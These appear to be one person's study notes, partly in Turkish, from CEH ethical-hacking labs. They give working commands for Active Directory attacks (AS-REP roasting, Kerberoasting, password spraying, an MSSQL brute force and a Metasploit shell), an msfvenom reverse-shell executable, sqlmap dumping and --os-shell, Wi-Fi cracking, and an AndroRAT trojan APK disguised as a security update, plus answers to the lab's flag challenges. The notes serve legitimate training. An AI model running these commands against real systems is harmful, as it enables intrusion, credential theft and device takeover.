

Perform Active Directory AD Attacks Using Various Tools

24 Aralık 2025 Çarşamba 20:49

Here, nmap shows that host 10.10.1.22 has port 88/TCP kerberos-sec and port 389/TCP LDAP opened which confirms that our DC IP address is 10.10.1.22.

`(nmap -p 389 --script=ldap-rootdse <hefef_ip>)` bu da veiyor

389 ve 88 açık olması dc olması demek olabilir.

Perform AS-REP Roasting Attack için impacket/examples/ altındaki python3 GetNPUsers.py CEH.com/ -no-pass -usersfile /root/ADtools/users.txt -dc-ip 10.10.1.22. komutundaki dosyayı kullanıyoruz

Sonra asrep hashini jonh ile çözebiliriz

cme rdp 10.10.1.0/24 -u /root/ADtools/users.txt -p "cupcake" ile çözduğumuz şifreyi diğer ağlardaki rdpler için kullanıyoruz Crackmapexec (CME) kullanarak

powerview üzerindeki Get-NetUser komutunu kullanarak SQL_srv kullanıcısını görüyoruz

Here are some other listed commands that you can use with PowerView.ps1 for enumeration:

Get-NetOU - Lists all organizational units (OUs) in the domain.

Get-NetSession - Lists active sessions on the domain.

Get-NetLoggedon - Lists users currently logged on to machines.

Get-NetProcess - Lists processes running on domain machines.

Get-NetService - Lists services on domain machines.

Get-NetDomainTrust - Lists domain trust relationships.

Get-ObjectACL - Retrieves ACLs for a specified object.

Find-InterestingDomainAcl - Finds interesting ACLs in the domain.

Get-NetSPN - Lists service principal names (SPNs) in the domain.

Invoke-ShareFinder - Finds shared folders in the domain.

Invoke-UserHunter - Finds where domain admins are logged in.

Invoke-CheckLocalAdminAccess - Checks if the current user has local admin access on specified machines.

hydra -L user.txt -P /root/ADtools/rockyou.txt 10.10.1.30 mssql kullanarak SQL_srv kullanıcısı için bf atıyoruz

Küçük l harfi kullanırsak tek kullanıcı küçük p harfi kullanırsak tek şifre

bulduğumu şifre ile use exploit/windows/mssql/mssql_payload kullanarak Shell alabiliyoruz

winpeas kullanıyoruz ve autorunda bir tane tüm yetkilere sahip bir dosyanın erişime açık olduğu görüyoruz ve o dosyanın ismini değiştirdip onun yerine kendi dosyamızı koymuyoruz

kendi dosyamız msfvenom -p windows/shell_reverse_tcp lhost=10.10.1.13 lport=8888 -f exe > /root/ADtools/file.exe

Perform Kerberoasting Attack

sizdeğimiz makineye Rubeus.exe yükliyoruz python http server kullanarak sonra rubeus.exe kerberoast /outfile:hash.txt komutunu çalıştırıyoruz

gelen admin hashi ile hashcat -m 13100 --force -a 0 hash.txt /root/ADtools/rockyou.txt. komutunu çalıştırıyoruz ve bitti

Module 19 Cloud

29 Aralık 2025 Pazartesi 22:12

Azure reconnaissance with AADInternals

Kurulum

E:\CEH-Tools\CEHv13 Module 19 Cloud Computing\GitHub Tools\ and copy AADInternals folder and paste it on Desktop.

PowerShell click on Run as Administrator

cd C:\Users\Admin\Desktop\AADInternals

run Install-Module AADInternals

Import-Module AADInternals

for DNS-> Invoke-AADIntReconAsOutsider -DomainName company.com | Format-table

user enumeration in Azure AD, in the PowerShell window type Invoke-AADIntUserEnumerationAsOutsider -UserName user@company.com

user enumeration by placing the usernames in a text file, by running Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal.

to get login information for a domain type Get-AADIntLoginInformation -Domain company.com

to get login information for a user type Get-AADIntLoginInformation -Domain user@company

To get the tenant ID for the given user, domain, or Access Token, type Get-AADIntTenantID -Domain company.com

To get registered domains from the tenant of the given domain Get-AADIntTenantDomains -Domain company.com

S3 Bucket

Let us list the directories in the certifiedhacker02 bucket. In the terminal window, type aws s3 ls s3://[Bucket Name] (here, Bucket Name is certifiedhacker02)

certifiedhacker02.s3.amazonaws.com -> web sayfası erişimi

Let us try to move the Hack.txt file to the certifiedhacker02 bucket. In the terminal window, type aws s3 mv Hack.txt s3://certifiedhacker02

Let us delete the Hack.txt file from the certifiedhacker02 bucket. In the terminal window, type aws s3 rm s3://certifiedhacker02/Hack.txt

type aws iam list-attached-user-policies --user-name [Target Username] and press Enter to view the attached policies of the target user (here, test

Similarly, you can use various commands to obtain complete information about the AWS environment such as the list of S3 buckets, user policies, role policies, and group policies, as well as to create a new user.

List of S3 buckets: aws s3api list-buckets --query "Buckets[].Name"

User Policies: aws iam list-user-policies

Role Policies: aws iam list-role-policies

Group policies: aws iam list-group-policies

Create user: aws iam create-user

Docker zafiyet tarama aracı trivy

docker pull nginx:1.19.6

trivy image nginx:1.19.6

Engage1

24 Aralık 2025 Çarşamba 20:50

CEH Engage - Part I

Part 1 of CEH Engage covers Footprinting and Reconnaissance, Scanning Networks, Enumeration, and Vulnerability Analysis modules. In this part, you are required to perform passive and active reconnaissance of the target organization, enumerating services, shares, users, user groups, etc., and perform vulnerability analysis of the identified systems/networks on the target. You need to note all the information discovered in this part of the CEH Engage and proceed to the subsequent phases of the ethical hacking cycle in the next part of the CEH Engage.

Flags

Challenge 1:

An attacker conducted footprinting on a web application and saved the resulting report Dumpster.xlsx in the documents folder of EH Workstation-1. Your task is to analyze this report and identify the hostname associated with the IP address 173.245.59.176. (Format: aaaaa.aaaaaaaaaa.aaa)

henry.ns.cloudflare.com

Correct answer.

Challenge 2:

Identify the number of live machines in 192.168.10.0/24 subnet. (Format: N)

5

Correct answer.

Challenge 3:

Identify the IP address of a Linux-based machine with port 22 open in the target network 192.168.10.0/24 (Format: NNN.NNN.NN.NNN).

192.168.10.111

Correct answer.

Challenge 4:

Find the IP address of the Domain Controller machine in 192.168.0.0/24. (Format: NNN.NNN.NN.NNN)

192.168.0.222

Correct answer.

Challenge 5:

Perform a host discovery scanning and identify the NetBIOS_Domain_Name of the host at 192.168.0.222. (Format: AAAAA.AAA)

SKILL.CEH

Correct answer.

Challenge 6:

Perform an intense scan on 192.168.0.222 and find out the DNS_Tree_Name of the machine in the network. (Format: AAAAA.AAA.aaa)

SKILL.CEH.com

Correct answer.

Challenge 7:

While performing a security assessment against the CEHORG network, you came to know that one machine in the network is running OpenSSH and is vulnerable. Identify the version of the OpenSSH running on the machine. Note: Target network 192.168.10.0/24. (Format: N.NaN)

8.9p1

Correct answer.

Challenge 8:

During a security assessment, it was found that a server was hosting a website that was susceptible to blind SQL injection attacks. Further investigation revealed that the underlying database management system of the site was MySQL. Determine the machine OS that hosted the database. Note: Target network 172.30.10.0/24 (Format: Aaaaaa)

Ubuntu

Correct answer.

Challenge 9:

Perform an intense scan on target subnet 192.168.10.0/24 and determine the IP address of the machine hosting the MSSQL database service. (Format: NNN.NNN.NN.NNN)

192.168.10.144

Correct answer.

Challenge 10:

Perform a DNS enumeration on www.certifiedhacker.com and find out the name servers used by the domain. (Format: aaN.aaaaaaaa.aaa, aaN.aaaaaaaa.aaa)

ns1.bluehost.com, ns2.bluehost.com

Correct answer.

Challenge 11:

Find the IP address of the machine running SMTP service on the 172.30.10.0/24 network. (Format: NNN.NN.NN.NNN)

172.30.10.200

Correct answer.

Challenge 12:

Perform an SMB Enumeration on 172.30.10.200 and check whether the Message signing feature is required. Give your response as Yes/No.

No

Correct answer.

Challenge 13:

Perform a vulnerability assessment on the 2023 CWE Top 25 most dangerous software vulnerabilities and determine the weakness ID of the last entry on the list. (Format: NNN)

276

Correct answer.

Challenge 14:

Perform vulnerability scanning for the Linux host in the 192.168.10.0/24 network using OpenVAS and find the QoD percentage of vulnerability with severity level as medium. (Format: NN)

70

Correct answer.

Challenge 15:

Perform a vulnerability scan on the host at 192.168.10.144 using OpenVAS and identify any FTP-related vulnerability. (Format: AAA Aaaaaaaaaa Aaaaaaaaaa Aaaaa)

FTP Unencrypted Cleartext Login

Module 11 Session Hijacking

24 Aralık 2025 Çarşamba 20:50

Windows 11 cihazında run as admin -> ipconfig /flushdns yaptık ve caido çalıştırıldı

In Edit Instance window, click on the radio button besides All interfaces (0.0.0.0) to listen on all the available network interfaces and click on Save. sonra start yeni hesap oluştur create Project

Click the Forwarding icon and wait until it changes to Queuing. This button will trap and display the next response or request from the victim's machine in the Intercept tab.

Module 14 Hacking Web Servers

24 Aralık 2025 Çarşamba 20:50

Recon için kullanılan toollar

Parrot Nmap, zaproxy

Windows 11 machine Search smartscanner

burpsuit

wpscan -> wpscan.com sitesinden api key almanın gerekliliği ücretsiz

wapiti

In the terminal window run cd wapiti command to navigate into wapiti directory and run python3 -m venv wapiti3 command to create virtual environment in python.

Now, run . wapiti3/bin/activate command to activate virtual environment.

Run pip install . command to install wapiti web application security scanner.

After installing the tool run wapiti -u <https://www.certifiedhacker.com> command to perform web application security scanning on certifiedhacker.com website.

Now, in the terminal run cd /root/.wapiti/generated_report/ to navigate to generated_report directory.

Run ls command to view the contents of the directory. we can see that the certifiedhacker.com_xxxxxxxxxx_xxxx.html file is created.

Wapiti scan report opens up in Firefox browser, you can analyze the scan result with the discovered vulnerabilities.

wafw00f *url* waf arkasında olduğunu anlamak için

whatweb -v www.moviescop.com server side technologies

Module 15 SQL

24 Aralık 2025 Çarşamba 20:51

sqlmap -u "<http://www.moviescope.com/viewprofile.aspx?id=1>" --cookie="[cookie value that you copied in Step#7]" --dbs cookie kısmını developer toolstaki consola document.cookie yazıp sonucu olduğu gibi alıyoruz

sqlmap -u "<http://www.moviescope.com/viewprofile.aspx?id=1>" --cookie="[cookie value which you have copied in Step#7]" -D moviescope --tables

sqlmap -u "<http://www.moviescope.com/viewprofile.aspx?id=1>" --cookie="[cookie value which you have copied in Step#7]" -D moviescope -T User_Login --dump

sqlmap -u "<http://www.moviescope.com/viewprofile.aspx?id=1>" --cookie="[cookie value which you have copied in Step#7]" --os-shell

You can also use other SQL injection tools such as Mole (<https://sourceforge.net>), jSQL Injection (<https://github.com>), NoSQLMap (<https://github.com>), Havij (<https://github.com>) and blind_sql_bitshifting (<https://github.com>).

Windows tarafından ZAP var

You can also use other SQL injection detection tools such as Damn Small SQLi Scanner (DSSS) (<https://github.com>), Snort (<https://snort.org>), Burp Suite (<https://www.portswigger.net>), HCL AppScan (<https://www.hcl-software.com>) etc. to detect SQL injection vulnerabilities.

Module 16 Wireless networks

24 Aralık 2025 Çarşamba 20:51

In the Parrot Terminal window, run aircrack-ng -a2 -b [Target BSSID] -w /home/attacker/Desktop/Wordlist/password.txt '/home/attacker/Desktop/Sample Captures/WPA2crack-01.cap'. Here, the BSSID of the target is 22:7F:AC:6D:E6:8B.

Mac adresi pcap içerisindeki görülen mac adresi

Module 17 mobile

24 Aralık 2025 Çarşamba 20:51

phonesploitpro.py -> ADB using PhoneSploit-Pro

python3 androRAT.py --build -i 10.10.1.13 -p 4444 -o SecurityUpdate.apk -> Apkyı oluşturmak için

python3 androRAT.py --shell -i 0.0.0.0 -p 4444 -> Dinlemek için

You can also use other Android hacking tools such as hxp_photo_eye (<https://github.com>), Gallery Eye (<https://github.com>), mSpy (<https://www.mspy.com>), and Hackingtoolkit (<https://github.com>) to hack Android devices.
